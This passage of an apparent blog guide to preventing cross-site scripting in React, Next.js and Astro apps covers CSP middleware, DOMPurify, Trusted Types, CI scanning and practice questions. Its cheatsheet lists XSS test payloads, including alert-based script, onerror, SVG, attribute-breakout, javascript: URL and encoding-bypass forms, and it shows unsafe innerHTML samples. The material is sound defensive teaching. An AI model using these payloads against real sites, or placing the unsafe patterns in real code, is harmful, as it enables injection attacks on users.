└──────────────────────────────────────────────────────────────┘

Third-Party Script Governance

// Secure third-party script loading

// 1. Subresource Integrity (SRI)
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

// 2. Sandboxed iframe for untrusted widgets
<iframe
  src="https://widget.thirdparty.com/embed"
  sandbox="allow-scripts allow-same-origin"
  loading="lazy"
  referrerpolicy="no-referrer"
></iframe>

// 3. Web Worker isolation for risky computations
const worker = new Worker("/sandbox-worker.js");
worker.postMessage({ untrustedData }); // Can't access DOM

// 4. CSP to limit third-party script capabilities
// Content-Security-Policy: script-src 'nonce-xxx' https://trusted-cdn.com;

9. Setup Guide

Complete XSS Defense Setup

Step 1: Security Headers (Next.js)

// middleware.ts
import { NextResponse } from "next/server";
import crypto from "crypto";

export function middleware(request) {
  const nonce = crypto.randomBytes(16).toString("base64");
  
  const cspDirectives = [
    `default-src 'none'`,
    `script-src 'nonce-${nonce}' 'strict-dynamic' https:`,
    `style-src 'self' 'nonce-${nonce}'`,
    `img-src 'self' https: data:`,
    `font-src 'self' https:`,
    `connect-src 'self' ${process.env.NEXT_PUBLIC_API_URL}`,
    `frame-src 'none'`,
    `frame-ancestors 'none'`,
    `base-uri 'none'`,
    `form-action 'self'`,
    `upgrade-insecure-requests`,
    `require-trusted-types-for 'script'`,
  ].join("; ");
  
  const response = NextResponse.next();
  response.headers.set("Content-Security-Policy", cspDirectives);
  response.headers.set("X-Content-Type-Options", "nosniff");
  response.headers.set("X-Frame-Options", "DENY");
  response.headers.set("X-XSS-Protection", "0"); // Disable legacy, use CSP
  response.headers.set("Referrer-Policy", "strict-origin-when-cross-origin");
  response.headers.set("Permissions-Policy", "camera=(), microphone=(), geolocation=()");
  
  // Pass nonce to rendering context
  request.headers.set("x-nonce", nonce);
  return response;
}

Step 2: DOMPurify Integration

// lib/sanitize.ts
import DOMPurify from "isomorphic-dompurify";

// Configure once, use everywhere
const purifyConfig: DOMPurify.Config = {
  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li",
                  "h1", "h2", "h3", "h4", "blockquote", "pre", "code", "img"],
  ALLOWED_ATTR: ["href", "src", "alt", "class"],
  FORBID_ATTR: ["style", "onerror", "onload"],
  ALLOW_DATA_ATTR: false,
};

export function sanitize(dirty: string): string {
  return DOMPurify.sanitize(dirty, purifyConfig);
}

// Strict: no HTML at all (just text)
export function escapeHTML(input: string): string {
  return input
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#x27;");
}

Step 3: ESLint Security Rules

// .eslintrc.json
{
  "plugins": ["react", "@typescript-eslint"],
  "rules": {
    "react/no-danger": "error",
    "react/no-danger-with-children": "error",
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-new-func": "error",
    "no-script-url": "error"
  },
  "overrides": [
    {
      "files": ["**/components/SafeHTML.tsx"],
      "rules": {
        "react/no-danger": "off"
      }
    }
  ]
}

Step 4: Trusted Types Setup

// trusted-types-init.ts (load early in app)
if (window.trustedTypes && trustedTypes.createPolicy) {
  // Default policy — last line of defense
  trustedTypes.createPolicy("default", {
    createHTML: (input) => {
      console.warn("Trusted Types violation — uncontrolled innerHTML:", input.substring(0, 100));
      // In production: report to monitoring, return sanitized
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      const allowed = ["https://cdn.example.com/", "/static/"];
      if (allowed.some((prefix) => input.startsWith(prefix))) {
        return input;
      }
      throw new TypeError(`Blocked script URL: ${input}`);
    },
    createScript: () => {
      throw new TypeError("Script creation blocked");
    },
  });
}

Step 5: CI/CD Security Scanning

# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]

jobs:
  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Semgrep SAST
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/javascript
            p/typescript
            p/react
            p/xss
            p/owasp-top-ten
      
      - name: ESLint Security
        run: npx eslint --config .eslintrc.security.json src/

  dependency-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Snyk Security
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

  csp-validation:
    runs-on: ubuntu-latest
    steps:
      - name: Validate CSP headers
        run: |
          # Start app and check CSP headers
          npm run build && npm run start &
          sleep 5
          CSP=$(curl -sI http://localhost:3000 | grep -i content-security-policy)
          echo "$CSP"
          # Ensure no unsafe-inline in script-src
          if echo "$CSP" | grep -q "unsafe-inline.*script"; then
            echo "ERROR: unsafe-inline in script-src!"
            exit 1
          fi

10. Security Tooling Comparison

ToolTypeXSS RelevanceLearning CurveCI/CDEnterprise
DOMPurifySanitization libraryDirect (runtime defense)LowN/A
sanitize-htmlSanitization libraryDirect (server-side)LowN/A
Trusted TypesBrowser APIDirect (DOM XSS prevention)MediumN/A
CSPBrowser policyDirect (execution prevention)Medium-High
eslint-plugin-securitySAST (lint)Finds dangerous patternsLow
SemgrepSAST (patterns)Custom XSS rulesMedium
SnykSCA + SASTVulnerable depsLow
OWASP ZAPDAST (scanner)Finds reflected/stored XSSMedium
Burp SuitePenetration testingManual XSS discoveryHigh✅ (Pro)
npm auditSCAVulnerable depsLow❌ (basic)
DependabotSCA (GitHub)Auto-updates vulnerable depsLow
Runtime Defense:    DOMPurify + Trusted Types + CSP
Lint:               eslint-plugin-security + no-danger rules
SAST:               Semgrep with XSS rules
SCA:                Snyk + Dependabot
DAST:               OWASP ZAP in CI pipeline
Manual Testing:     Burp Suite for penetration testing
Monitoring:         CSP reporting endpoint → alerting

11. Cheatsheet

Dangerous DOM Sinks (Never use with user input)

SinkContextAlternative
innerHTMLHTMLtextContent or DOMPurify
outerHTMLHTMLtextContent + createElement
document.write()HTMLDOM APIs
insertAdjacentHTML()HTMLinsertAdjacentText()
eval()JSJSON.parse, direct logic
setTimeout(string)JSsetTimeout(function)
new Function(string)JSDirect function definition
element.srcURLValidate protocol
element.hrefURLValidate protocol
location.href = inputURLValidate with URL()
jQuery.html()HTMLjQuery.text()
v-html (Vue)HTML{{ }} interpolation
[innerHTML] (Angular)HTML{{ }} interpolation
dangerouslySetInnerHTMLHTMLNormal JSX {}
set:html (Astro)HTMLNormal {}

Context Encoding Quick Reference

ContextEncodeExample
HTML body&lt; &gt; &amp; &quot; &#x27;<div>{encoded}</div>
HTML attribute (quoted)Same as HTML body<div title="{encoded}">
JavaScript string\xHH escapevar x = "\x3cscript\x3e";
URL parameterencodeURIComponent()?q=${encoded}
CSS value\HH (hex + space)content: "\3c "

CSP Quick Reference

# Strict CSP (copy-paste starting point)
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  style-src 'self' 'nonce-{RANDOM}';
  img-src 'self' https: data:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';
  require-trusted-types-for 'script';

Safe React Patterns

// ✅ Always safe
<div>{userInput}</div>
<img alt={userInput} />
<a href={validatedUrl}>{linkText}</a>

// ⚠️ Requires sanitization
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />

// ❌ Never do
<div dangerouslySetInnerHTML={{ __html: userInput }} />
<a href={userInput}>Link</a>  // without URL validation
ref.current.innerHTML = userInput;

Common XSS Payloads (For Testing)

<!-- Basic -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

<!-- Attribute breakout -->
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

<!-- URL-based -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>

<!-- Encoding bypasses -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=\u0061lert(1)>

<!-- Template literal -->
${alert(1)}

<!-- SVG -->
<svg><script>alert(1)</script></svg>
<svg/onload=alert(1)>

12. Real-World Engineering Mindset

Rich Text Editors

Problem: Users need to create formatted content (bold, links, images) — this requires HTML rendering.

Strategies:

StrategyHowProsConsBest for
Markdown onlyConvert MD → sanitized HTMLSimple, safeLimited formattingDev tools, comments
Structured formatProseMirror/Tiptap JSON → HTMLFull controlComplexCMS, editors
Sanitized HTMLDOMPurify on outputWorks with any editorParser differential riskLegacy systems
Iframe sandboxRender untrusted in sandboxFull isolationComplex UXUser-generated sites

What a senior security engineer would choose:

Markdown Rendering

Problem: Markdown renderers may allow raw HTML injection.

// ❌ Unsafe: allows HTML in Markdown
import { marked } from "marked";
const html = marked(userMarkdown); // May contain <script>!

// ✅ Safe: disable HTML or sanitize
import { marked } from "marked";
marked.setOptions({ sanitize: false }); // Don't rely on deprecated sanitize
const html = DOMPurify.sanitize(marked(userMarkdown));

// ✅ Best: Use remark/rehype with sanitize plugin
import { unified } from "unified";
import remarkParse from "remark-parse";
import remarkRehype from "remark-rehype";
import rehypeSanitize from "rehype-sanitize";
import rehypeStringify from "rehype-stringify";

const result = await unified()
  .use(remarkParse)
  .use(remarkRehype)
  .use(rehypeSanitize) // Strict sanitization
  .use(rehypeStringify)
  .process(userMarkdown);

Multi-Tenant SaaS

Problem: Tenant A’s XSS shouldn’t compromise Tenant B.

Strategy:

  1. Origin isolation: Different subdomains per tenant (strongest)
  2. Strict CSP: Even if XSS occurs, limit what it can do
  3. Sanitize all tenant-provided content: Theme customization, custom fields
  4. Sandboxed iframe rendering: For custom HTML/widgets
  5. API-level tenant isolation: Tokens scoped to tenant, not user across tenants

Third-Party Embeds (Analytics, Chat, Marketing)

Problem: Third-party scripts have full origin access.

Strategy:

// Kill switch for third-party scripts
// Feature flag to disable compromised vendor
if (!featureFlags.enableVendorX) {
  // Don't load vendor X's script
}

13. Brainstorm / Open Questions

Browser Parsing (15 questions)

  1. What parsing context does user input enter in this template?
  2. How does the HTML parser handle malformed tags?
  3. What happens when <script> appears inside <textarea>?
  4. Why does innerHTML behave differently than DOMParser?
  5. How do parser error recovery rules create XSS opportunities?
  6. What’s the difference between HTML parsing and XML parsing for SVG?
  7. How does the browser handle character encoding in different contexts?
  8. Why might a sanitizer’s parse tree differ from the browser’s?
  9. How does <template> element parsing differ from normal elements?
  10. What happens to event handlers during DOM cloning?
  11. How does the browser decide when to execute inline scripts during parsing?
  12. What’s the role of the “foster parenting” algorithm in mXSS?
  13. How do custom elements affect parsing and XSS surface?
  14. What happens when you set innerHTML on a <template> vs a <div>?
  15. How does the parser handle null bytes in different contexts?

Sanitization (15 questions)

  1. Should this content be sanitized or escaped?
  2. What’s the attack surface of allowing <a> tags with href?
  3. How could a CSS url() value lead to data exfiltration?
  4. Why might DOMPurify’s output still be dangerous in certain contexts?
  5. What’s the security implication of data: URLs in allowed attributes?
  6. How should SVG sanitization differ from HTML sanitization?
  7. What happens if sanitization occurs before encoding vs after?
  8. How do you safely allow user-defined CSS class names?
  9. What’s the risk of allowing style attributes even with sanitization?
  10. How should you sanitize Markdown that contains HTML?
  11. What’s the mutation XSS risk in this sanitizer configuration?
  12. How does character encoding affect sanitization effectiveness?
  13. Should sanitization happen on input or output?
  14. What’s the risk of client-only sanitization without server-side validation?
  15. How should you handle user-provided URLs in <img> tags?

Rendering Architecture (15 questions)

  1. How does this component’s rendering pipeline handle untrusted data?
  2. Could hydration create a new attack surface for this content?
  3. What happens if the CDN serves stale HTML with injected content?
  4. How does streaming SSR affect XSS defense?
  5. What’s the security boundary between server components and client components?
  6. How should a design system ensure XSS-safe component APIs?
  7. Should this rich text be rendered server-side or client-side?
  8. What’s the trust boundary between the CMS and the frontend?
  9. How does lazy loading/code splitting affect CSP nonce delivery?
  10. What’s the XSS risk of dynamic import() with user-controlled paths?
  11. How should error boundaries handle potentially malicious content?
  12. What’s the attack surface of user-customizable themes?
  13. How does island architecture (Astro) affect XSS isolation?
  14. What happens if a React portal renders user content outside the root?
  15. How should micro-frontends handle XSS across boundaries?

CSP (15 questions)

  1. Why might this CSP configuration still allow XSS?
  2. How does strict-dynamic change trust propagation?
  3. What’s the risk of unsafe-inline in style-src?
  4. How should CSP handle dynamically created scripts?
  5. What are the CSP implications of Web Workers?
  6. How does CSP interact with service workers?
  7. What’s the correct CSP for a Next.js app with dynamic imports?
  8. How should CSP reporting be structured at scale?
  9. What CSP bypasses exist for common configurations?
  10. How does base-uri restriction prevent XSS escalation?
  11. What’s the deployment strategy for CSP across 100+ microservices?
  12. How do you handle CSP for third-party OAuth redirects?
  13. What’s the relationship between frame-ancestors and XFO?
  14. How should CSP differ between development and production?
  15. What happens when CSP blocks a critical third-party script?

Trusted Types (15 questions)

  1. How does Trusted Types enforcement affect existing libraries?
  2. What’s the migration strategy from no Trusted Types to full enforcement?
  3. How should the default policy behave in development vs production?
  4. What sinks does Trusted Types not cover?
  5. How do Trusted Types interact with Web Components?
  6. What’s the performance impact of Trusted Types policies?
  7. How should multiple teams share Trusted Types policies?
  8. What’s the right granularity for Trusted Types policies?
  9. How does Trusted Types affect SSR hydration?
  10. What happens when a third-party library violates Trusted Types?
  11. How should Trusted Types violations be monitored?
  12. Can Trusted Types be bypassed? Under what conditions?
  13. How does Trusted Types interact with CSP?
  14. What’s the developer experience impact of Trusted Types?
  15. How should testing handle Trusted Types enforcement?

SSR Security (15 questions)

  1. What’s the injection risk when interpolating user data in SSR HTML?
  2. How does React Server Components change the XSS threat model?
  3. What happens if cached SSR output is poisoned with XSS?
  4. How should SSR handle user data in <script> tags (JSON data)?
  5. What’s the XSS risk of streaming HTML with user content?
  6. How does edge rendering affect sanitization strategy?
  7. What’s the security difference between SSG and SSR for XSS?
  8. How should error messages in SSR avoid reflecting user input?
  9. What’s the XSS risk of Server Actions that return HTML?
  10. How does partial prerendering affect CSP nonce delivery?
  11. What’s the security impact of React’s suppressHydrationWarning?
  12. How should meta tags with user data be handled in SSR?
  13. What’s the XSS risk of dynamic og:image generation?
  14. How does ISR cache invalidation affect stored XSS?
  15. What’s the security model for Astro’s content collections?

Framework Security (15 questions)

  1. Is React’s escaping sufficient for all contexts?
  2. What Vue directives are XSS-dangerous?
  3. How does Angular’s DomSanitizer compare to DOMPurify?
  4. What’s the XSS surface of Next.js’ Image component?
  5. How do React hooks create new potential XSS patterns?
  6. What’s the security implication of using eval in bundlers?
  7. How should state management handle potentially malicious data?
  8. What’s the XSS risk of browser extension content scripts?
  9. How do framework devtools create XSS surface in development?
  10. What’s the security model of Remix’s loader/action pattern?

Third-Party Risks (10 questions)

  1. How do you assess XSS risk of a third-party component library?
  2. What’s your process when a dependency has an XSS vulnerability?
  3. How should A/B testing scripts be secured against XSS?
  4. What’s the supply chain risk of compromised npm packages?
  5. How do you audit third-party scripts for malicious behavior?
  6. What’s the risk of loading scripts from shared CDNs?
  7. How should third-party auth widgets be isolated?
  8. What monitoring detects compromised third-party scripts?
  9. How do you handle XSS in third-party Markdown renderers?
  10. What’s the security model for browser extension communication?

Enterprise AppSec (15 questions)

  1. How should XSS governance work across 50+ frontend apps?
  2. What metrics should frontend security teams track?
  3. How should XSS findings be prioritized in bug bounty programs?
  4. What’s the organizational model for CSP ownership?
  5. How should security reviews evaluate new UI components?
  6. What’s the migration strategy for legacy apps with inline scripts?
  7. How should frontend security training be structured?
  8. What’s the incident response plan for a stored XSS worm?
  9. How do you balance developer velocity with security controls?
  10. What automated checks should run on every PR?
  11. How should design systems enforce security by default?
  12. What’s the cost-benefit of Trusted Types rollout?
  13. How should shared component libraries handle XSS responsibility?
  14. What’s the security review process for custom Markdown extensions?
  15. How should frontend observability detect XSS exploitation?

14. Practice Questions

Beginner (35 questions)

Q1. What does XSS stand for?

Q2. True or False: XSS requires the attacker to have direct access to the server.

Q3. Which type of XSS is stored permanently on the target server?

Q4. What DOM property safely displays user text without executing HTML?

Q5. True or False: The <img> tag can execute JavaScript.

Q6. What characters should be HTML-encoded to prevent XSS in HTML body context?

Q7. Which of these is a reflected XSS attack?

Q8. True or False: Modern browsers’ built-in XSS filters (X-XSS-Protection) are sufficient protection.

Q9. What makes javascript:alert(1) dangerous when used as an href value?

Q10. Which HTTP header helps prevent XSS by controlling what scripts can execute?

Q11. True or False: XSS can only steal cookies.

Q12. What’s the difference between innerHTML and textContent?

Q13. Which HTML element’s content is NOT parsed as HTML by the browser?

Q14. What is “DOM-based XSS”?

Q15. True or False: Escaping HTML special characters (< > & " ') prevents XSS in all contexts.

Q16-Q35: (Additional beginner questions covering basic payloads, safe vs unsafe APIs, cookie theft, encoding, and input sources)

Q16. What attribute of a cookie prevents JavaScript from accessing it?

Q17. True or False: A <form> tag can be injected via XSS to phish credentials.

Q18. What is the OWASP ranking of XSS in the latest Top 10?


Junior (35 questions)

Q36. Your React app has <div dangerouslySetInnerHTML={{ __html: comment.body }} />. What’s the risk?

Q37. True or False: React automatically prevents all XSS attacks.

Q38. What’s wrong with this sanitization?

const clean = input.replace(/<script>/gi, "").replace(/<\/script>/gi, "");

Q39. What is the CSP directive that blocks inline scripts?

Q40. How does strict-dynamic work in CSP?

Q41. What’s the DOM XSS vulnerability in this code?

const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = `Hello, ${name}!`;

Q42. True or False: Content-Type: application/json responses can cause XSS.

Q43. What’s the purpose of DOMPurify’s RETURN_DOM_FRAGMENT option?

Q44. Your Next.js app has a search page that displays You searched for: ${query}. Where should encoding happen?

Q45. What’s the risk of <a href={userUrl}>Click</a> in React?


Senior (35 questions)

Q71. Design a CSP strategy for a Next.js App Router application that uses third-party analytics, a CMS-driven blog, and user-generated content.

Q72. A stored XSS worm is spreading through your platform’s comments. What’s your incident response?

Q73. True or False: Trusted Types completely eliminates DOM XSS.

Q74. How should CSP handle the case where 5 different teams own different parts of the same page (micro-frontends)?

Q75. What’s the XSS risk of React’s hydration when server HTML doesn’t match client expectations?


Expert / Browser Security Engineer (35 questions)

Q106. Explain how HTML parser’s “adoption agency algorithm” can be exploited for mutation XSS.

Q107. Design a Trusted Types architecture for an enterprise with 200 frontend services, some using legacy libraries that rely on innerHTML.

Q108. How could a CSS injection (without script execution) lead to data exfiltration?

Q109. Explain how prototype pollution can lead to XSS in a React application.

Q110. What are the known CSP bypasses via JSONP endpoints and how do you prevent them?


15. Personalized Recommendations

For Your Stack (React + Next.js + Astro + Vite + TypeScript)

Priority XSS Concepts

  1. Immediate: Never use dangerouslySetInnerHTML without DOMPurify
  2. Immediate: Validate all URLs before passing to href/src
  3. High: Deploy strict CSP with nonces in Next.js middleware
  4. High: Configure rehype-sanitize for Markdown rendering
  5. Medium: Implement Trusted Types (report-only → enforce)
  6. Medium: Add Semgrep/ESLint security rules to CI
  7. Advanced: Understand hydration attack surfaces
  8. Advanced: Design sandboxed rendering for user-generated content

Common Frontend Security Mistakes

MistakeImpactFix
dangerouslySetInnerHTML with raw dataStored/reflected XSSDOMPurify sanitization
No URL validation on hrefjavascript: XSSProtocol allowlist
innerHTML in useEffect/refsDOM XSStextContent or DOMPurify
No CSPXSS has full impactStrict nonce-based CSP
Markdown with raw HTML enabledStored XSSrehype-sanitize / html: false
Third-party scripts without SRISupply chain XSSintegrity attribute
User input in SSR <script> dataReflected XSSJSON serialize + entity encode
eval() or new Function()Code injectionAvoid entirely

60-Day Learning Plan

Week 1-2: Foundations

Week 3-4: Framework Security

Week 5-6: CSP & Headers

Week 7-8: Advanced & Enterprise


Beginner

ResourceURL
OWASP XSS Attack Descriptionhttps://owasp.org/www-community/attacks/xss/
MDN: Web Securityhttps://developer.mozilla.org/en-US/docs/Web/Security
PortSwigger: XSShttps://portswigger.net/web-security/cross-site-scripting
OWASP XSS Prevention Cheat Sheethttps://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
MDN: Content Security Policyhttps://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

Intermediate

ResourceURL
DOMPurifyhttps://github.com/cure53/DOMPurify
web.dev: Trusted Typeshttps://web.dev/trusted-types/
CSP Referencehttps://content-security-policy.com
Next.js CSP Guidehttps://nextjs.org/docs/app/building-your-application/configuring/content-security-policy
Chrome: Trusted Typeshttps://developer.chrome.com/docs/lighthouse/best-practices/trusted-types/
PortSwigger: DOM-based XSShttps://portswigger.net/web-security/cross-site-scripting/dom-based
OWASP DOM XSS Cheat Sheethttps://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html

Advanced

ResourceURL
Google: Strict CSPhttps://csp.withgoogle.com/docs/strict-csp.html
Trusted Types API Spechttps://w3c.github.io/trusted-types/dist/spec/
cure53: DOMPurify bypasseshttps://github.com/nicedayday/DOMPurify-Issues
Chromium: Trusted Typeshttps://chromium.googlesource.com/chromium/src/+/master/docs/trusted_types_on_user_visible_text.md
HTML Spec: Parsinghttps://html.spec.whatwg.org/multipage/parsing.html
PortSwigger: CSP bypasshttps://portswigger.net/web-security/cross-site-scripting/content-security-policy

Expert / Browser Internals

ResourceURL
HTML Living Standard: Tokenizationhttps://html.spec.whatwg.org/multipage/parsing.html#tokenization
Chromium Blink Sourcehttps://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/
Mutation XSS Research (Heiderich)https://cure53.de/fp170.pdf
DOM Clobbering Researchhttps://domclob.xyz
Google Security Bloghttps://security.googleblog.com/
Chromium Security Architecturehttps://www.chromium.org/Home/chromium-security/

17. Advanced Engineering Topics

Browser Parser Internals

The HTML parser is a state machine defined in the HTML Living Standard. Key states relevant to XSS:

Data State → sees '<' → Tag Open State
Tag Open State → sees letter → Tag Name State  
Tag Name State → sees space → Before Attribute Name State
Before Attribute Name State → sees letter → Attribute Name State

KEY INSIGHT: The parser has ~80 states
Each state transition determines whether content is:
- Text (safe)
- Tag (structure)  
- Attribute (potential execution)
- Script (code)

XSS exploits transitions that flip content from "data" to "code"

Rendering Isolation Architecture

┌──────────────────────────────────────────────────────────────┐
│         Rendering Isolation Spectrum                           │
├──────────────────────────────────────────────────────────────┤
│                                                                │
│  LEAST ISOLATION                    MOST ISOLATION            │
│  ──────────────────────────────────────────────────►         │
│                                                                │
│  Same-page      Shadow DOM      Sandboxed      Separate      │
│  rendering      isolation       iframe         origin         │
│                                                                │
│  <div>           <custom-el>    <iframe         Cross-origin  │
│    {content}       #shadow        sandbox="">    iframe        │
│  </div>          </custom-el>   </iframe>                    │
│                                                                │
│  Risk: Full      Risk: CSS      Risk: Limited   Risk: None   │
│  DOM access      isolation      script access   (if strict)  │
│                  only                                         │
│                                                                │
│  Use case:       Use case:      Use case:       Use case:    │
│  Trusted         Style          User HTML       Untrusted    │
│  content         isolation      (comments)      third-party  │
│                                                                │
└──────────────────────────────────────────────────────────────┘

Future Browser Security Directions


Summary

Key Takeaways

  1. XSS is code injection into the browser — understand that HTML mixes data and code
  2. Context-aware encoding is the primary defense — different contexts need different encoding
  3. React/Astro auto-escaping prevents most XSS — but dangerouslySetInnerHTML, href, and SSR injection remain dangerous
  4. CSP is your safety net — blocks execution even when injection occurs
  5. Trusted Types prevents DOM XSS at the API level — enforces sanitization at every sink
  6. DOMPurify is the standard for HTML sanitization — never roll your own with regex
  7. Defense-in-depth is essential — encoding + sanitization + CSP + Trusted Types + monitoring
  8. XSS impact is catastrophic — full origin access, session hijack, persistent compromise via service workers

Next Steps

  1. Audit your current applications for dangerouslySetInnerHTML and href vulnerabilities
  2. Deploy CSP in report-only mode today
  3. Add DOMPurify to any component rendering user HTML
  4. Set up ESLint security rules and Semgrep in CI
  5. Practice XSS attacks on PortSwigger Web Security Academy

Advanced Topics to Continue Learning


Edit page
Share this post:

Previous Post
Web Vitals — Ultimate Deep-Dive Guide